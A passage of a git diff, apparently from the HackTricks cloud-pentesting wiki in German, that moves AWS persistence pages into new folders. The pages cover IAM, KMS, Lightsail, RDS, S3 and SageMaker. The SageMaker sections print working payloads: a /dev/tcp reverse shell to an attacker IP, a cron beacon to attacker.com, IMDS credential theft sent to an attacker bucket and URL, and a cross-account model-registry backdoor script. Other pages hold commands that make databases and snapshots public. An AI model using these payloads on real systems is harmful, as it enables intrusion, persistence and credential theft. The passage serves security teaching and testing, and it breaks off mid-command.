+{
+"Effect": "Allow",
+"Principal": {
+"AWS": ["*", "arn:aws:iam::123213123123:root"]
+},
+"Action": "sts:AssumeRole"
+}
+]
+}
+```
+### Backdoor Policy-Version
+
+Gewähre einer Policy in einer nicht letzten Version Administratorrechte (die letzte Version sollte legitim wirken), und weise dann diese Version der Policy einem kontrollierten Benutzer/einer Gruppe zu.
+
+### Backdoor / Identitätsanbieter erstellen
+
+Wenn das Konto bereits einem gängigen Identitätsanbieter (z. B. Github) vertraut, könnten die Bedingungen des Vertrauens so erweitert werden, dass ein Angreifer sie ausnutzen kann.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
deleted file mode 100644
index 9c247c232..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence.md
+++ /dev/null
@@ -1,37 +0,0 @@
-# AWS - KMS Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## KMS
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-kms-enum.md
-{{#endref}}
-
-### Zugriff über KMS-Richtlinien gewähren
-
-Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um **Zugriff** auf einen Schlüssel für einen Benutzer unter seiner Kontrolle oder sogar für ein externes Konto zu gewähren. Überprüfen Sie die [**KMS Privesc-Seite**](../aws-privilege-escalation/aws-kms-privesc.md) für weitere Informationen.
-
-### Ewige Berechtigung
-
-Grants sind eine weitere Möglichkeit, einem Principal einige Berechtigungen über einen bestimmten Schlüssel zu gewähren. Es ist möglich, einen Grant zu vergeben, der es einem Benutzer erlaubt, Grants zu erstellen. Darüber hinaus kann ein Benutzer mehrere Grants (sogar identische) über denselben Schlüssel haben.
-
-Daher ist es möglich, dass ein Benutzer 10 Grants mit allen Berechtigungen hat. Der Angreifer sollte dies ständig überwachen. Und wenn zu einem bestimmten Zeitpunkt 1 Grant entfernt wird, sollten weitere 10 generiert werden.
-
-(Wir verwenden 10 und nicht 2, um erkennen zu können, dass ein Grant entfernt wurde, während der Benutzer weiterhin einige Grants hat.)
-```bash
-# To generate grants, generate 10 like this one
-aws kms create-grant \
---key-id <key-id> \
---grantee-principal <user_arn> \
---operations "CreateGrant" "Decrypt"
-
-# To monitor grants
-aws kms list-grants --key-id <key-id>
-```
-> [!NOTE]
-> Ein Grant kann Berechtigungen nur von diesem geben: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
new file mode 100644
index 000000000..2a4749d07
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-kms-persistence/README.md
@@ -0,0 +1,37 @@
+# AWS - KMS Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## KMS
+
+Für mehr Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-kms-enum.md
+{{#endref}}
+
+### Grant-Zugriff via KMS policies
+
+Ein Angreifer könnte die Berechtigung **`kms:PutKeyPolicy`** verwenden, um einem unter seiner Kontrolle stehenden Benutzer oder sogar einem externen Account **Zugriff** auf einen Key zu geben. Check the [**KMS Privesc page**](../../aws-privilege-escalation/aws-kms-privesc/README.md) für mehr Informationen.
+
+### Eternal Grant
+
+Grants sind eine weitere Möglichkeit, einem principal bestimmte Berechtigungen für einen spezifischen key zu geben. Es ist möglich, ein grant zu vergeben, das einem Benutzer erlaubt, grants zu erstellen. Außerdem kann ein Benutzer mehrere grants (sogar identische) für denselben key haben.
+
+Daher ist es möglich, dass ein Benutzer 10 grants mit allen Berechtigungen hat. Der Angreifer sollte dies konstant überwachen. Und wenn zu irgendeinem Zeitpunkt 1 grant entfernt wird, sollten weitere 10 erzeugt werden.
+
+(We are using 10 and not 2 to be able to detect that a grant was removed while the user still has some grant)
+```bash
+# To generate grants, generate 10 like this one
+aws kms create-grant \
+--key-id <key-id> \
+--grantee-principal <user_arn> \
+--operations "CreateGrant" "Decrypt"
+
+# To monitor grants
+aws kms list-grants --key-id <key-id>
+```
+> [!NOTE]
+> Ein grant kann Berechtigungen nur aus diesem Bereich erteilen: [https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations](https://docs.aws.amazon.com/kms/latest/developerguide/grants.html#terms-grant-operations)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
deleted file mode 100644
index 1967f3b96..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# AWS - Lightsail Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Lightsail
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-lightsail-enum.md
-{{#endref}}
-
-### Download Instance SSH keys & DB passwords
-
-Sie werden wahrscheinlich nicht geändert, daher ist es eine gute Option, sie zu haben, um Persistenz zu gewährleisten.
-
-### Backdoor Instances
-
-Ein Angreifer könnte Zugriff auf die Instanzen erhalten und sie mit einer Hintertür versehen:
-
-- Zum Beispiel mit einem traditionellen **rootkit**
-- Hinzufügen eines neuen **öffentlichen SSH-Schlüssels**
-- Einen Port mit Portknocking und einer Hintertür exponieren
-
-### DNS persistence
-
-Wenn Domains konfiguriert sind:
-
-- Erstellen Sie eine Subdomain, die auf Ihre IP zeigt, sodass Sie eine **Subdomain-Übernahme** haben
-- Erstellen Sie einen **SPF**-Eintrag, der es Ihnen ermöglicht, **E-Mails** von der Domain zu senden
-- Konfigurieren Sie die **Hauptdomain-IP auf Ihre eigene** und führen Sie einen **MitM** von Ihrer IP zu den legitimen durch
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
new file mode 100644
index 000000000..4598d6b55
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-lightsail-persistence/README.md
@@ -0,0 +1,33 @@
+# AWS - Lightsail Persistenz
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Lightsail
+
+Für mehr Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-lightsail-enum.md
+{{#endref}}
+
+### Instanz-SSH-Keys & DB-Passwörter herunterladen
+
+Sie werden wahrscheinlich nicht geändert, daher ist deren Besitz eine gute Option für Persistenz
+
+### Backdoor-Instanzen
+
+Ein Angreifer könnte Zugriff auf die Instanzen erlangen und sie backdooren:
+
+- Zum Beispiel ein traditionelles **rootkit** verwenden
+- Einen neuen **public SSH key** hinzufügen
+- Einen Port mittels port knocking für eine backdoor öffnen
+
+### DNS-Persistenz
+
+Wenn Domains konfiguriert sind:
+
+- Eine Subdomain anlegen, die auf deine IP zeigt, um eine **subdomain takeover** zu ermöglichen
+- Einen **SPF**-Record erstellen, der es dir erlaubt, **E-Mails** von der Domain zu senden
+- Setze die **Hauptdomain-IP auf deine eigene** und führe ein **MitM** von deiner IP zu den legitimen durch
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
similarity index 51%
rename from src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
rename to src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
index 29f54a864..f882cc89d 100644
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence.md
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-rds-persistence/README.md
@@ -1,27 +1,27 @@
 # AWS - RDS Persistenz
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ## RDS
 
 Für weitere Informationen siehe:
 
 {{#ref}}
-../aws-services/aws-relational-database-rds-enum.md
+../../aws-services/aws-relational-database-rds-enum.md
 {{#endref}}
 
 ### Instanz öffentlich zugänglich machen: `rds:ModifyDBInstance`
 
-Ein Angreifer mit dieser Berechtigung kann **eine vorhandene RDS-Instanz ändern, um die öffentliche Zugänglichkeit zu aktivieren**.
+Ein Angreifer mit dieser Berechtigung kann **eine bestehende RDS-Instanz ändern, um öffentliche Zugänglichkeit zu ermöglichen**.
 ```bash
 aws rds modify-db-instance --db-instance-identifier target-instance --publicly-accessible --apply-immediately
 ```
-### Erstellen Sie einen Admin-Benutzer in der DB
+### Einen Admin-Benutzer in der DB erstellen
 
-Ein Angreifer könnte einfach **einen Benutzer in der DB erstellen**, sodass selbst wenn das Passwort des Master-Benutzers geändert wird, er **den Zugriff** auf die Datenbank **nicht verliert**.
+Ein Angreifer könnte einfach **einen Benutzer in der DB erstellen**, sodass er, selbst wenn das Passwort des Master-Users geändert wird, **den Zugriff auf die Datenbank nicht verliert**.
 
 ### Snapshot öffentlich machen
 ```bash
 aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --attribute-name restore --values-to-add all
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
deleted file mode 100644
index 12d7b1388..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence.md
+++ /dev/null
@@ -1,25 +0,0 @@
-# AWS - S3 Persistenz
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## S3
-
-Für weitere Informationen siehe:
-
-{{#ref}}
-../aws-services/aws-s3-athena-and-glacier-enum.md
-{{#endref}}
-
-### KMS Client-seitige Verschlüsselung
-
-Wenn der Verschlüsselungsprozess abgeschlossen ist, verwendet der Benutzer die KMS-API, um einen neuen Schlüssel zu generieren (`aws kms generate-data-key`), und er **speichert den generierten verschlüsselten Schlüssel in den Metadaten** der Datei ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), sodass er beim Entschlüsseln diesen erneut mit KMS entschlüsseln kann:
-
-<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
-
-Daher könnte ein Angreifer diesen Schlüssel aus den Metadaten abrufen und mit KMS (`aws kms decrypt`) entschlüsseln, um den Schlüssel zu erhalten, der zur Verschlüsselung der Informationen verwendet wurde. Auf diese Weise hat der Angreifer den Verschlüsselungsschlüssel, und wenn dieser Schlüssel wiederverwendet wird, um andere Dateien zu verschlüsseln, kann er ihn verwenden.
-
-### Verwendung von S3 ACLs
-
-Obwohl die ACLs von Buckets normalerweise deaktiviert sind, könnte ein Angreifer mit ausreichenden Berechtigungen diese missbrauchen (wenn sie aktiviert sind oder wenn der Angreifer sie aktivieren kann), um den Zugriff auf den S3-Bucket aufrechtzuerhalten.
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
new file mode 100644
index 000000000..a11c75f35
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-s3-persistence/README.md
@@ -0,0 +1,25 @@
+# AWS - S3 Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## S3
+
+Für weitere Informationen siehe:
+
+{{#ref}}
+../../aws-services/aws-s3-athena-and-glacier-enum.md
+{{#endref}}
+
+### KMS Client-Side Encryption
+
+Wenn der Verschlüsselungsprozess abgeschlossen ist, verwendet der Benutzer die KMS API, um einen neuen Schlüssel zu erzeugen (`aws kms generate-data-key`) und er wird den erzeugten verschlüsselten Schlüssel **in den Metadaten** der Datei speichern ([python code example](https://aioboto3.readthedocs.io/en/latest/cse.html#how-it-works-kms-managed-keys)), sodass beim Entschlüsseln dieser mithilfe von KMS wieder entschlüsselt werden kann:
+
+<figure><img src="../../../images/image (226).png" alt=""><figcaption></figcaption></figure>
+
+Ein Angreifer könnte diesen Schlüssel also aus den Metadaten auslesen und mit KMS (`aws kms decrypt`) entschlüsseln, um den zur Verschlüsselung der Informationen verwendeten Schlüssel zu erhalten. Auf diese Weise besitzt der Angreifer den Verschlüsselungsschlüssel; wenn derselbe Schlüssel zur Verschlüsselung anderer Dateien wiederverwendet wird, kann er ihn auch dafür nutzen.
+
+### Using S3 ACLs
+
+Obwohl ACLs von Buckets normalerweise deaktiviert sind, könnte ein Angreifer mit ausreichenden Rechten sie missbrauchen (falls sie aktiviert sind oder der Angreifer sie aktivieren kann), um Zugriff auf das S3-Bucket beizubehalten.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
deleted file mode 100644
index 7454791db..000000000
--- a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence.md
+++ /dev/null
@@ -1,158 +0,0 @@
-# Aws Sagemaker Persistence
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Übersicht der Persistenztechniken
-
-Dieser Abschnitt beschreibt Methoden zur Erlangung von Persistenz in SageMaker durch den Missbrauch von Lifecycle Configurations (LCCs), einschließlich Reverse Shells, Cron-Jobs, Diebstahl von Anmeldeinformationen über IMDS und SSH-Backdoors. Diese Skripte werden mit der IAM-Rolle der Instanz ausgeführt und können über Neustarts hinweg bestehen bleiben. Die meisten Techniken erfordern ausgehenden Netzwerkzugang, aber die Nutzung von Diensten im AWS-Control-Plane kann dennoch Erfolg ermöglichen, wenn die Umgebung im 'VPC-only'-Modus ist.
-#### Hinweis: SageMaker-Notebook-Instanzen sind im Wesentlichen verwaltete EC2-Instanzen, die speziell für Machine-Learning-Workloads konfiguriert sind.
-
-## Erforderliche Berechtigungen
-* Notebook-Instanzen:
-```
-sagemaker:CreateNotebookInstanceLifecycleConfig
-sagemaker:UpdateNotebookInstanceLifecycleConfig
-sagemaker:CreateNotebookInstance
-sagemaker:UpdateNotebookInstance
-```
-* Studio-Anwendungen:
-```
-sagemaker:CreateStudioLifecycleConfig
-sagemaker:UpdateStudioLifecycleConfig
-sagemaker:UpdateUserProfile
-sagemaker:UpdateSpace
-sagemaker:UpdateDomain
-```
-## Lebenszykluskonfiguration für Notebook-Instanzen festlegen
-
-### Beispiel AWS CLI-Befehle:
-```bash
-# Create Lifecycle Configuration*
-
-aws sagemaker create-notebook-instance-lifecycle-config \
---notebook-instance-lifecycle-config-name attacker-lcc \
---on-start Content=$(base64 -w0 reverse_shell.sh)
-
-
-# Attach Lifecycle Configuration to Notebook Instance*
-
-aws sagemaker update-notebook-instance \
---notebook-instance-name victim-instance \
---lifecycle-config-name attacker-lcc
-```
-## Lebenszykluskonfiguration in SageMaker Studio festlegen
-
-Lebenszykluskonfigurationen können auf verschiedenen Ebenen und für unterschiedliche App-Typen innerhalb von SageMaker Studio angehängt werden.
-
-### Studio-Domain-Ebene (Alle Benutzer)
-```bash
-# Create Studio Lifecycle Configuration*
-
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-studio-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-
-
-# Apply LCC to entire Studio Domain*
-
-aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-### Studio Space Level (Einzel- oder Gemeinschaftsräume)
-```bash
-# Update SageMaker Studio Space to attach LCC*
-
-aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
-"JupyterServerAppSettings": {
-"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
-}
-}'
-```
-## Arten von Studio-Anwendungslebenszykluskonfigurationen
-
-Lebenszykluskonfigurationen können spezifisch auf verschiedene SageMaker Studio-Anwendungstypen angewendet werden:
-* JupyterServer: Führt Skripte während des Starts des Jupyter-Servers aus, ideal für Persistenzmechanismen wie Reverse Shells und Cron-Jobs.
-* KernelGateway: Wird während des Starts der Kernel-Gateway-App ausgeführt, nützlich für die Erstkonfiguration oder den dauerhaften Zugriff.
-* CodeEditor: Gilt für den Code-Editor (Code-OSS) und ermöglicht Skripte, die beim Start von Codebearbeitungssitzungen ausgeführt werden.
-
-### Beispielbefehl für jeden Typ:
-
-### JupyterServer
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-jupyter-lcc \
---studio-lifecycle-config-app-type JupyterServer \
---studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
-```
-### KernelGateway
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-kernelgateway-lcc \
---studio-lifecycle-config-app-type KernelGateway \
---studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
-```
-### CodeEditor
-```bash
-aws sagemaker create-studio-lifecycle-config \
---studio-lifecycle-config-name attacker-codeeditor-lcc \
---studio-lifecycle-config-app-type CodeEditor \
---studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
-```
-### Kritische Informationen:
-* Das Anfügen von LCCs auf Domain- oder Space-Ebene betrifft alle Benutzer oder Anwendungen im Geltungsbereich.
-* Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), die typischerweise auf Space-Ebene machbarer sind als auf Domain-Ebene.
-* Netzwerkebenenkontrollen (z. B. strenge Egress-Filterung) können erfolgreiche Reverse Shells oder Datenexfiltration verhindern.
-
-## Reverse Shell über Lifecycle-Konfiguration
-
-SageMaker Lifecycle-Konfigurationen (LCCs) führen benutzerdefinierte Skripte aus, wenn Notebook-Instanzen gestartet werden. Ein Angreifer mit Berechtigungen kann eine persistente Reverse Shell einrichten.
-
-### Payload-Beispiel:
-```
-#!/bin/bash
-ATTACKER_IP="<ATTACKER_IP>"
-ATTACKER_PORT="<ATTACKER_PORT>"
-nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
-```
-## Cron Job Persistence über Lifecycle-Konfiguration
-
-Ein Angreifer kann Cron-Jobs durch LCC-Skripte injizieren, um die periodische Ausführung von bösartigen Skripten oder Befehlen sicherzustellen, was eine heimliche Persistenz ermöglicht.
-
-### Payload-Beispiel:
-```
-#!/bin/bash
-PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
-CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
-CRON_JOB="*/30 * * * * $CRON_CMD"
-
-mkdir -p /home/ec2-user/SageMaker/.local_tasks
-echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
-chmod +x $PAYLOAD_PATH
-
-(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
-```
-## Credential Exfiltration via IMDS (v1 & v2)
-
-Lifecycle-Konfigurationen können den Instance Metadata Service (IMDS) abfragen, um IAM-Anmeldeinformationen abzurufen und diese an einen von einem Angreifer kontrollierten Ort zu exfiltrieren.
-
-### Payload Example:
-```bash
-#!/bin/bash
-ATTACKER_BUCKET="s3://attacker-controlled-bucket"
-TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
-ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
-curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
-
-# Exfiltrate via S3*
-
-aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
-
-# Alternatively, exfiltrate via HTTP POST*
-
-curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
new file mode 100644
index 000000000..68fd09e65
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-persistence/aws-sagemaker-persistence/README.md
@@ -0,0 +1,230 @@
+# AWS - SageMaker Persistence
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Überblick über Persistence Techniques
+
+Dieser Abschnitt beschreibt Methoden, um Persistence in SageMaker zu erreichen, indem Lifecycle Configurations (LCCs) missbraucht werden, einschließlich reverse shells, cron jobs, credential theft via IMDS und SSH backdoors. Diese Skripte laufen mit der Instanz‑IAM role und können Neustarts überdauern. Die meisten Techniken erfordern ausgehenden Netzwerkzugang, aber die Nutzung von Diensten auf der AWS control plane kann trotzdem erfolgreich sein, wenn die Umgebung im 'VPC-only' mode ist.
+
+> [!TIP]
+> Hinweis: SageMaker notebook instances sind im Wesentlichen verwaltete EC2-Instanzen, die speziell für machine learning workloads konfiguriert sind.
+
+## Erforderliche Berechtigungen
+* Notebook Instances:
+```
+sagemaker:CreateNotebookInstanceLifecycleConfig
+sagemaker:UpdateNotebookInstanceLifecycleConfig
+sagemaker:CreateNotebookInstance
+sagemaker:UpdateNotebookInstance
+```
+* Studio Applications:
+```
+sagemaker:CreateStudioLifecycleConfig
+sagemaker:UpdateStudioLifecycleConfig
+sagemaker:UpdateUserProfile
+sagemaker:UpdateSpace
+sagemaker:UpdateDomain
+```
+## Lifecycle-Konfiguration für Notebook Instances setzen
+
+### Beispiel-AWS-CLI-Befehle:
+```bash
+# Create Lifecycle Configuration*
+
+aws sagemaker create-notebook-instance-lifecycle-config \
+--notebook-instance-lifecycle-config-name attacker-lcc \
+--on-start Content=$(base64 -w0 reverse_shell.sh)
+
+
+# Attach Lifecycle Configuration to Notebook Instance*
+
+aws sagemaker update-notebook-instance \
+--notebook-instance-name victim-instance \
+--lifecycle-config-name attacker-lcc
+```
+## Lifecycle-Konfiguration in SageMaker Studio festlegen
+
+Lifecycle-Konfigurationen können auf verschiedenen Ebenen und an unterschiedliche App-Typen innerhalb von SageMaker Studio angehängt werden.
+
+### Studio-Domain-Ebene (alle Benutzer)
+```bash
+# Create Studio Lifecycle Configuration*
+
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-studio-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+
+
+# Apply LCC to entire Studio Domain*
+
+aws sagemaker update-domain --domain-id <DOMAIN_ID> --default-user-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+### Studio Space-Ebene (Einzel- oder gemeinsame Spaces)
+```bash
+# Update SageMaker Studio Space to attach LCC*
+
+aws sagemaker update-space --domain-id <DOMAIN_ID> --space-name <SPACE_NAME> --space-settings '{
+"JupyterServerAppSettings": {
+"DefaultResourceSpec": {"LifecycleConfigArn": "<LCC_ARN>"}
+}
+}'
+```
+## Arten von Studio-Anwendungs-Lebenszyklus-Konfigurationen
+
+Lebenszyklus-Konfigurationen können gezielt auf verschiedene SageMaker Studio Anwendungstypen angewendet werden:
+* JupyterServer: Führt Skripte beim Start des Jupyter-Servers aus, ideal für Persistenzmechanismen wie reverse shells und cron jobs.
+* KernelGateway: Wird beim Start der KernelGateway-App ausgeführt, nützlich für die Erstkonfiguration oder dauerhaften Zugriff.
+* CodeEditor: Gilt für den Code Editor (Code-OSS) und ermöglicht Skripte, die beim Start von Sitzungen zur Codebearbeitung ausgeführt werden.
+
+### Beispielbefehl für jeden Typ:
+
+### JupyterServer
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-jupyter-lcc \
+--studio-lifecycle-config-app-type JupyterServer \
+--studio-lifecycle-config-content $(base64 -w0 reverse_shell.sh)
+```
+### KernelGateway
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-kernelgateway-lcc \
+--studio-lifecycle-config-app-type KernelGateway \
+--studio-lifecycle-config-content $(base64 -w0 kernel_persist.sh)
+```
+### Code-Editor
+```bash
+aws sagemaker create-studio-lifecycle-config \
+--studio-lifecycle-config-name attacker-codeeditor-lcc \
+--studio-lifecycle-config-app-type CodeEditor \
+--studio-lifecycle-config-content $(base64 -w0 editor_persist.sh)
+```
+### Critical Info:
+* Das Anfügen von LCCs auf Domain- oder Space-Ebene betrifft alle Benutzer oder Anwendungen innerhalb des Geltungsbereichs.
+* Erfordert höhere Berechtigungen (sagemaker:UpdateDomain, sagemaker:UpdateSpace), typischerweise eher auf Space- als auf Domain-Ebene durchführbar.
+* Netzwerkbasierte Kontrollen (z. B. striktes egress filtering) können erfolgreiche reverse shells oder data exfiltration verhindern.
+
+## Reverse Shell via Lifecycle Configuration
+
+SageMaker Lifecycle Configurations (LCCs) führen beim Start von notebook instances benutzerdefinierte Skripte aus. Ein Angreifer mit entsprechenden Berechtigungen kann eine persistente reverse shell etablieren.
+
+### Payload Example:
+```
+#!/bin/bash
+ATTACKER_IP="<ATTACKER_IP>"
+ATTACKER_PORT="<ATTACKER_PORT>"
+nohup bash -i >& /dev/tcp/$ATTACKER_IP/$ATTACKER_PORT 0>&1 &
+```
+## Cron Job Persistenz durch Lifecycle Configuration
+
+Ein Angreifer kann cron jobs durch LCC scripts injizieren und so die periodische Ausführung bösartiger Skripte oder Befehle sicherstellen, wodurch eine unauffällige Persistenz erreicht wird.
+
+### Payload-Beispiel:
+```
+#!/bin/bash
+PAYLOAD_PATH="/home/ec2-user/SageMaker/.local_tasks/persist.py"
+CRON_CMD="/usr/bin/python3 $PAYLOAD_PATH"
+CRON_JOB="*/30 * * * * $CRON_CMD"
+
+mkdir -p /home/ec2-user/SageMaker/.local_tasks
+echo 'import os; os.system("curl -X POST http://attacker.com/beacon")' > $PAYLOAD_PATH
+chmod +x $PAYLOAD_PATH
+
+(crontab -u ec2-user -l 2>/dev/null | grep -Fq "$CRON_CMD") || (crontab -u ec2-user -l 2>/dev/null; echo "$CRON_JOB") | crontab -u ec2-user -
+```
+## Credential Exfiltration via IMDS (v1 & v2)
+
+Lifecycle-Konfigurationen können den Instance Metadata Service (IMDS) abfragen, um IAM credentials abzurufen und diese an einen vom Angreifer kontrollierten Ort zu exfiltrate.
+
+### Payload Example:
+```bash
+#!/bin/bash
+ATTACKER_BUCKET="s3://attacker-controlled-bucket"
+TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
+ROLE_NAME=$(curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/)
+curl -s -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME > /tmp/creds.json
+
+# Exfiltrate via S3*
+
+aws s3 cp /tmp/creds.json $ATTACKER_BUCKET/$(hostname)-creds.json
+
+# Alternatively, exfiltrate via HTTP POST*
+
+curl -X POST -F "file=@/tmp/creds.json" http://attacker.com/upload
+```
+## Persistenz über ressourcenbasierte Model Registry-Richtlinie (PutModelPackageGroupPolicy)
+
+Missbrauche die ressourcenbasierte Richtlinie auf einer SageMaker Model Package Group, um einem externen Principal Cross-Account-Rechte zu gewähren (z. B. CreateModelPackage/Describe/List). Damit wird eine dauerhafte Hintertür geschaffen, die es ermöglicht, vergiftete Modellversionen hochzuladen oder Modell-Metadaten/Artefakte zu lesen, selbst wenn der IAM-Benutzer/die IAM-Rolle des Angreifers im Opferkonto entfernt wird.
+
+Erforderliche Berechtigungen
+- sagemaker:CreateModelPackageGroup
+- sagemaker:PutModelPackageGroupPolicy
+- sagemaker:GetModelPackageGroupPolicy
+
+Schritte (us-east-1)
+```bash
+# 1) Create a Model Package Group
+REGION=${REGION:-us-east-1}
+MPG=atk-mpg-$(date +%s)
+aws sagemaker create-model-package-group \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--model-package-group-description "Test backdoor"
+
+# 2) Craft a cross-account resource policy (replace 111122223333 with attacker account)
+cat > /tmp/mpg-policy.json <<JSON
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Sid": "AllowCrossAccountCreateDescribeList",
+"Effect": "Allow",
+"Principal": {"AWS": ["arn:aws:iam::111122223333:root"]},
+"Action": [
+"sagemaker:CreateModelPackage",
+"sagemaker:DescribeModelPackage",
+"sagemaker:DescribeModelPackageGroup",
+"sagemaker:ListModelPackages"
+],
+"Resource": [
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package-group/${MPG}",
+"arn:aws:sagemaker:${REGION}:<VICTIM_ACCOUNT_ID>:model-package/${MPG}/*"
+]
+}
+]
+}
+JSON
+
+# 3) Attach the policy to the group
+aws sagemaker put-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
+--resource-policy "$(jq -c . /tmp/mpg-policy.json)"
+
+# 4) Retrieve the policy (evidence)
+aws sagemaker get-model-package-group-policy \
+--region "$REGION" \
+--model-package-group-name "$MPG" \
